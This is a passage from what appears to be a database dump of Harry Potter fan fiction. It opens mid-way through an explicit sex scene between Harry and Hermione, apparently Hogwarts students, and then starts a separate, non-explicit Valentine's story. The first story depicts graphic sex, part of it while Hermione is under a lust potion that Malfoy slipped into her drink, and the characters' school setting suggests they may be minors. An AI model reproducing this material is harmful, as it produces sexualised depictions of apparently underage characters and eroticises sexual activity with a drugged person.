grasp, and her eyes narrowed.&nbsp; Licking her lips hungrily, she slowly\nlowered her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nthanked God when she stopped moving her hands, and he managed to look down at\nher once again.&nbsp; His eyeballs nearly\nexploded as he watched his manhood disappear inside her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;By\nall that&#8217;s&#8230;uh&#8230;Hermione&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ndrew him in, guiding more and more of him inside her.&nbsp; Her soft, wet tongue traced the contours of his shaft, and\nHarry&#8217;s heart nearly stopped.&nbsp; He\ncouldn&#8217;t help it as his hands came up to tangle in her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;you&#8217;re\nso good&#8230;so good&#8230;&#8221; His words echoed in her ears as her head began to bob up and\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nslid him in and out of her mouth, making love to him with her lips and\ntongue.&nbsp; Harry was ready to explode in a\nmatter of seconds, but she pulled away from him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Na\nuh&#8230;not this time, lover, I want you inside me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\ngosh, Mione, come here!&#8221; Harry pleaded and reached out for her.&nbsp; Hermione made one last detour and slipped\noff her panties before letting him pull her back up on top of him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nhe growled and devoured her soft lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Their\nhips rubbed together, and her sensitive opening teased his overheated shaft\nwith its simmering wetness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;take\nme now!&#8221; she cried out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ngrasped her tiny waist and lifted her hips into the air.&nbsp; Hermione positioned herself right over his\nquivering manhood; all she had to do was drop her weight down.&nbsp; She looked down into his eyes, and he\ngroaned at the desire and lust in her glossy eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That\nwas when it happened.&nbsp; Harry watched as\nthe glazed look disappeared from her eyes, and her pupils refocused.&nbsp; Her mind was regaining control.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt herself coming out of a haze of sexual pleasure when she saw Harry lying\nunderneath her.&nbsp; She looked down and saw\nthat she was poised on the tip of his manhood &#8211; ready to take it inside\nher.&nbsp; His hands were on her hips,\nholding her steady.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;you&#8217;re\nback,&#8221; Harry sighed as he tried to control his traitorous body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;I&#8230;&#8221;\nHe could see the nervousness in her eyes and lowered her down onto his hips.&nbsp; She straddled his waist, but he did not\npenetrate her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey&#8230;&#8221;\nhe whispered and cupped her cheek, &#8220;&#8230;if you want to stop, just say so, and it&#8217;s\ndone.&nbsp; I promise!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nknow, Harry, I know that you&#8217;d stop if I said so.&nbsp; I could feel everything; everything you did to me and made me\nfeel.&nbsp; I&#8217;ve never felt anything like it\nbefore; it felt strange but wonderful at the same time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nweren&#8217;t too shabby yourself, Mione,&#8221; he groaned.&nbsp; She blushed slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry,\nI couldn&#8217;t help myself.&nbsp; Did I do\nsomething bad?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hell\nno, you were incredible!&nbsp; I swear, I was\ngonna explode in another second.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\npressed her hands against his chest and felt his heart pounding against his\nribcage.&nbsp; She pushed herself up and\nraised her hips once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I\nwant this&#8230;I want to make love to you&#8230;to feel you inside me.&nbsp; I&#8217;ve always wanted you to be my first\nbecause I&#8230;I&#8230;I love you so much!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\nheart screamed in triumph, and Harry&#8217;s face glowed with a smile of warmth and\nrelief.&nbsp; The last of his guilt faded\naway at the look in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;I\nwant you to be my first time as well.&nbsp;\nNow, let me make love to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\nhands grasped her hips once again, and Hermione brought herself back into\nposition.&nbsp; His shaft had lost a little\nsteam while they were talking, but it immediately jumped at the first touch of\nher heat against it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be\ngentle with me,&#8221; she whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwould never be anything else,&#8221; he answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nguided him to her entrance and gasped as he split open her channel.&nbsp; She felt a strange pressure inside her as\nHarry pressed more and more of himself into her.&nbsp; He reached her maidenhood a moment later and pushed against it\nslightly.&nbsp; She nodded at him and braced\nherself.&nbsp; Harry thrust his hips and at\nthe same time pulled her down onto him.&nbsp;\nHe tore through her hymen and plunged into her body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Oh\nthank you&#8230;thank you&#8230;&#8217; Harry repeated over and over in his head.&nbsp; He had never felt anything so wonderful in\nhis life; she was so hot and so tight inside.&nbsp;\nIt was as if she&#8217;d been made just for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;That\nhurt quite a bit, but&#8230;it&#8217;s getting better now,&#8217; Hermione said silently.&nbsp; She felt full and complete with Harry\nembedded within her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bracing\nherself on his chest, Hermione gave an experimental thrust with her hips, and\nHarry moaned as her warmth stroked his straining manhood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nokay, Mione?&#8221; he asked, seeing her eyes stilly clenched tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;&#8221;\nshe sighed and opened them, &#8220;&#8230;I wasn&#8217;t sure you would fit, but oh, it feels so\ngood like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\nhere.&#8221; Harry pulled her down and kissed her deeply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwiggled her hips, and he caught on to what she wanted.&nbsp; With his hands on her waist, he guided her\nback and forth as she slid up and down on his hot column.&nbsp; They started out slowly, getting used to one\nanother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nMione, you&#8217;re so good&#8230;so sweet and hot&#8230;&#8221; He kissed the words into her mouth,\nand she thrust herself down onto him even harder than before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes\nHarry&#8230;fill me&#8230;I can feel you deep inside me&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nlover gazed up into her eyes, and he gasped in surprise.&nbsp; The lust-crazed, glossy-eyed look that she&#8217;d\nhad earlier never returned.&nbsp; All he saw\nwas Hermione&#8217;s beautiful, brown eyes shining down at him with love and\ndesire.&nbsp; Harry was overjoyed; he was\nmaking love to her for real!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlovers clung to each other as their bodies gave and took from each other until\nthey were both panting against one another&#8217;s faces.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;I\ncan&#8217;t&#8230;I can&#8217;t stop&#8230;can&#8217;t wait&#8230;&#8221; Harry could barely speak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nstop&#8230;Harry&#8230;don&#8217;t stop&#8230;keep going&#8230;&#8221; Hermione managed to croak out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nhe watched her body slide back and forth on top of him, Harry was captivated as\nhe watched her lush breasts bounce with each thrust of her hips.&nbsp; His hands swarmed to the beautiful targets,\nand Hermione cried out in pleasure.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwanna taste you again, Mione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\npulled her body down, and he closed his mouth over her swollen breast.&nbsp; That was all Hermione could stand.&nbsp; Her entire body shuttered, and her skin\nbuzzed with an electric charge.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HARRY!&#8221;\nshe called out as her being shattered into oblivion.&nbsp; She was drifting up in the heavens and felt like she could touch\nthe stars themselves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ntried to keep moving, but her heat had doubled in intensity, and she pulsed\nviolently around his member.&nbsp; He didn&#8217;t\nhave a choice in the matter and gave in to the inevitable bliss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;MIONE!&#8221;\nhe cried out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nhad thought that she was at her highest peak, but Harry suddenly erupted inside\nher, and she skyrocketed to the farthest stars and beyond.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlovers hovered up in the heavens, just basking in the afterglow of their\nlovemaking and the long-repressed emotions that had exploded to the\nsurface.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ndrifted down from low orbit to find herself wrapped in Harry&#8217;s arms.&nbsp; She lifted her head and saw his eyelids\nslowly opening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\njust gazed at each other, letting their hearts communicate without any need for\nwords to be spoken.&nbsp; Their bodies were\nstill joined, and neither wanted to ever break the intimate contact.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ntrailed his hands through her soft, brown curls, and Hermione listened to the\nquiet, thumping of his heartbeat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;thank\nyou for this night.&#8221; He gently withdrew from her body and kissed the top of her\nhead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Hermione, there will be many more like this, I promise.&#8221; She looked up\nat him with a bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nmean it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;With\nall my heart.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then\nwould you tell me something?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Name\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nhappened to me?&#8221; she asked with a serious look in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nsure you want to know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nI went from trying to seduce you, to flirting with every seventh-year\nGryffindor, to making incredible love with you all in one night.&nbsp; Now, what happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, I&#8217;ll tell you.&nbsp; Someone put an\nEros Potion in your hot chocolate back in the library; it happened before I got\nthere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An\nEros Potion&#8230;I think I&#8217;ve heard of it, but I can&#8217;t recall it off hand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nbecause it&#8217;s not taught anywhere.&nbsp; It&#8217;s\na very evil potion.&nbsp; Whoever drinks it&#8230;\nwell&#8230;their sex drive increases by a factor of ten!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou serious?&nbsp; So that&#8217;s why I&#8230;I&#8230;I just\ngrabbed you like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nguess so,&#8221; he chuckled, &#8220;Maybe you just thought I was cute?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nmore than cute,&#8221; she giggled and kissed his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwonder who put it in my cup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nalready know,&#8221; he answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ndo?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nit was Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou serious?&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&nbsp; The sick bastard had the gall to gloat right\nin front of me.&nbsp; He showed up right\nafter you ran out of the library.&nbsp; He\nadmitted to spiking your hot chocolate and said&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\njaw clenched, and he was trying very hard not to get angry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;\nHermione prodded.&nbsp; He looked down at her\nwith sad eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;that\nby the time the potion wore off, you&#8217;d be the premier tramp of the entire\nschool!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\nslimy piece of&#8230;&#8221; Hermione was the one growling now, but Harry quieted her down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Mione, I shut him up good!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do\ntell!&#8221; she cooed at seeing the evil smirk on his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Basically,\nI used his head for a sandwich between a bookcase and my fist.&nbsp; Knocked the scum flat on his ass!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\ndid he tell you the antidote for the Eros Potion because I don&#8217;t feel any of\nthe effects anymore,&#8221; Hermione stated.&nbsp;\nHarry&#8217;s face was filled with relief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nto be honest, there is no antidote to an Eros Potion; however, there is a way\nto undo it.&nbsp; The person who was infected\nmust sleep with the person who gave it to them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nmean Malfoy and I would&#8217;ve had to&#8230;&#8221; Hermione nearly turned green.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nthat&#8217;s why the Eros Potion is never taught.&nbsp;\nIt is actually considered a form of rape in the magical world.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But,\nI feel fine now.&nbsp; What happened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nafter I dealt with Malfoy, I raced back to the Common Room to look for\nyou.&nbsp; As you know, I found you flaunting\nthis sweet body of yours in every guys&#8217; face.&nbsp;\nI put an immobilizing charm on you, and then Ginny and I brought you up\nhere.&nbsp; After that, we went to see Madam\nPomfrey.&nbsp; When we told her what\nhappened, she immediately took us to see Professor Dumbledore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodness,\nif she was worried, then that potion must be really serious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When\nwe told Dumbledore about what happened, he reiterated that there wasn&#8217;t a known\nantidote for an Eros Potion.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\nwhat did you do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dumbledore\nreminded me that my mother&#8217;s love protected me from Voldemort&#8217;s dark\nmagic.&nbsp; He also said that love is an\nancient and powerful counteragent against evil spells and potions.&nbsp; Therefore, he concluded that if you were to\nsleep with someone who loves you then the potion would become nullified!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nthat was you,&#8221; she sighed and stroked his cheek.&nbsp; Harry blushed sheepishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nbut I didn&#8217;t want to do it originally.&nbsp;\nI didn&#8217;t want to use you like that; I was afraid that you&#8217;d hate\nme.&nbsp; Plus, in order for it to work, you\nwould have to love the person you were with as well.&nbsp; I didn&#8217;t know how you felt about me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nwho convinced you?&#8221; she prodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Believe\nit or not, it was Ginny.&nbsp; She told me to\nstop fighting my feelings for you and tell you how I really felt.&nbsp; I kept saying we were just friends, but she\nreminded me that we&#8217;re closer with each other than anyone else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsee your point, Harry, we know each other so well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nand we would give up anything to protect each other.&nbsp; The clincher was when I said that you were wonderful and could\nhave anyone you wanted.&nbsp; Someone would\nhave to be an idiot to not want you.&nbsp;\nThen she came back and said, &#8216;Then look in the mirror idiot!&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ngiggled happily and nuzzled her face into his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nso you finally came to your senses.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndidn&#8217;t know how you felt about me, but I couldn&#8217;t stand to see you like\nthat.&nbsp; I had no choice.&nbsp; If the effects of the Eros Potion are not\nmet, the effected person will be driven insane by the sensations.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;\nshe hugged him tightly, &#8220;&#8230;thank you, my love, you saved me from a fate worse\nthan death.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione,\nI will never let anything happen to you&#8230;&#8221; he cupped her chin in his hand and\nlifted it up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;you&#8217;re\na part of me; you&#8217;re my heart and soul.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nlove you, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nlove you too, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nabout Malfoy?&#8221; He pulled her closer and tucked the blankets around them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, he&#8217;ll be punished for his crimes; I&#8217;ll see to that.&nbsp; Let&#8217;s just get some rest now okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;Harry?&#8221;\nshe asked sweetly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nis it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Didn&#8217;t\nyou say that the effects of the Eros Potion should be neutralized by now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They\nshould be.&nbsp; What&#8217;s wrong?&#8221; he said\nworriedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nslithered her arms up around his neck and pressed her body up against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\ngetting hot again, love, I think I need you again,&#8221; she purred seductively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrinned wryly, and he cupped her breasts in his hands.&nbsp; It wasn&#8217;t the potion doing it; it was just\nHermione&#8217;s own hunger for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nthen, we must make sure that we get rid of all of it, right?&#8221; he snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Most\ndefinitely, make sure and be very thorough,&#8221; she sighed as his hands stroked\nher curves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nplan to be, Mione, trust me,&#8221; and he pulled the covers over them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ncouldn&#8217;t stop giggling, but it soon changed to moans and screams of ecstasy as\nHarry took into the heavens another four times before the night was over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author&#8217;s\nNotes:&nbsp; Finally got this story posted\nright.&nbsp; Thanks a lot to portkey&#8217;s\nmoderators for their help.&nbsp; I&#8217;m not sure\nyet if I&#8217;m going to continue this, but I&#8217;m thinking about it.</p>\n\n\n\n\n\n\n'),
	(227, 1, '\n\n\n\n<p class="MsoNormal">The Mysterious Pumpkin Valentine</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Submitted to the PPA Valentine&#8217;s Challenge, but\nnot accepted because it wasn\'t an atypical Valentine\'s Day for them. Oh, well.\nThat\'s OK, as it\'s apparently still getting archived @ the PPA.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">By: Nicole (pottergranger4ever, mione06, hpnic06)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Summary &#8211; Hermione finds some\nsurprises on Valentine&#8217;s Day that all seem to be linked together in some way.\nThe only trouble is, she can&#8217;t figure out who would actually remember that she\neven liked that stuff. H/Hr.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Keywords &#8211; Fluff, Romance, HMS Pumpkin Pie,\nPumpkin things</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer &#8211; The Mirror of Erised, Marauders Map,\nand &#8220;I solemnly swear I&#8217;m up to no good.&#8221; as well as the Astronomy Tower and\nthe broom closet associated with the Time-Turner are in no way my creations.\nThese as well as all characters, belong to J.K. Rowling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Note &#8211; The italics aside from the note and single\nwords are the thoughts. The thoughts are with the person who spoke at the\nbeginning of paragraph.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhhhh&#8230;&#8221; was the first sound heard from the 5th\nyear Gryffindor girls&#8217; dormitory.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">It seemed that their resident\nalarm clock was now awake.&nbsp; The only\nproblem was, this was Saturday, and Valentine&#8217;s Day, so the only thing she\nwould have to do to wake them up would be to mention Valentine&#8217;s Day to them.&nbsp; However, this meant she didn&#8217;t have to start\nas early, and therefore could go ahead and get dressed. But something was\namiss.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">When she got to her trunk\nwhere she kept her clothes, and opened it, she noticed a pretty Heart-Shaped\nPumpkin hair comb with some heart-shaped sapphires beneath it.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Where did this come from?&#8221;\nshe asked.&nbsp; Shrugging, she picked it up\nalong with her clothes, changed and put her hair back, placing the comb in to\nhold it.&nbsp; When she got back into the\nmain dormitory, where Lavender was stirring and Parvati was mumbling something\nabout Dean Thomas and presents, there appeared to be a note on the table next\nto her bed.&nbsp; She picked it up, and read\nit.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in"><i>H.G. &#8211; Thought you might\nlike something else for your hair. Happy Valentine&#8217;s Day! &#8211; An Admirer</i></p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Lavender! Get up! I&#8217;ve got\nsomething to show you.&#8221; she went over to Lavender&#8217;s bed, where the formerly\nsleeping classmate of hers was now sitting up, looking as if she&#8217;d been awake\nfor hours instead of only a few seconds.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;What is it, Hermione? What\nare you so eager to show me?&#8221; Lavender asked anxiously. She loved it when any\none of them got anything that they actually wanted to share.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">All Hermione could do was\nshove the note into Lavender&#8217;s hands. She then started pacing around in a\ncircle, around the rug that was placed in between her bed and Lavender&#8217;s.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Who would send me something\nlike that with a gift? I have no clue who it could be, but I want to\nknow!&#8221;&nbsp; Hermione exclaimed, sounding\nrather frustrated.</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Hold <i>on</i>,\nHermione!&nbsp; Whoever sent you this note,\nalong with the gift I have yet to see, doesn&#8217;t want their identity revealed\nyet, because they signed the note &#8216;An Admirer.&#8217;&nbsp; That means it&#8217;s supposed to be a secret for now.&nbsp; But let me see the present first.&nbsp; Maybe I can gather clues from what it looks\nlike.&#8221;&nbsp; Lavender turned Hermione around\nso she could see the comb.&nbsp; &#8220;Well, there\nare sapphires, a pumpkin, and they&#8217;re all heart-shaped, in representation of\nValentine&#8217;s Day.&nbsp; The sapphires are your\nbirthstone, and the pumpkin is one of your favorite scents and things, right?&#8221;</p>\n\n<p class="MsoBodyText" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in">&#8220;Well, yes.&nbsp; But I can&#8217;t remember whom I told besides\nyou, Ron, Harry, and Ginny that I like pumpkins.&nbsp; Unless&#8230; No, surely it&#8217;s not one of them.&#8221; Hermione shook her\nhead.</p>\n\n<p class="MsoBodyText" 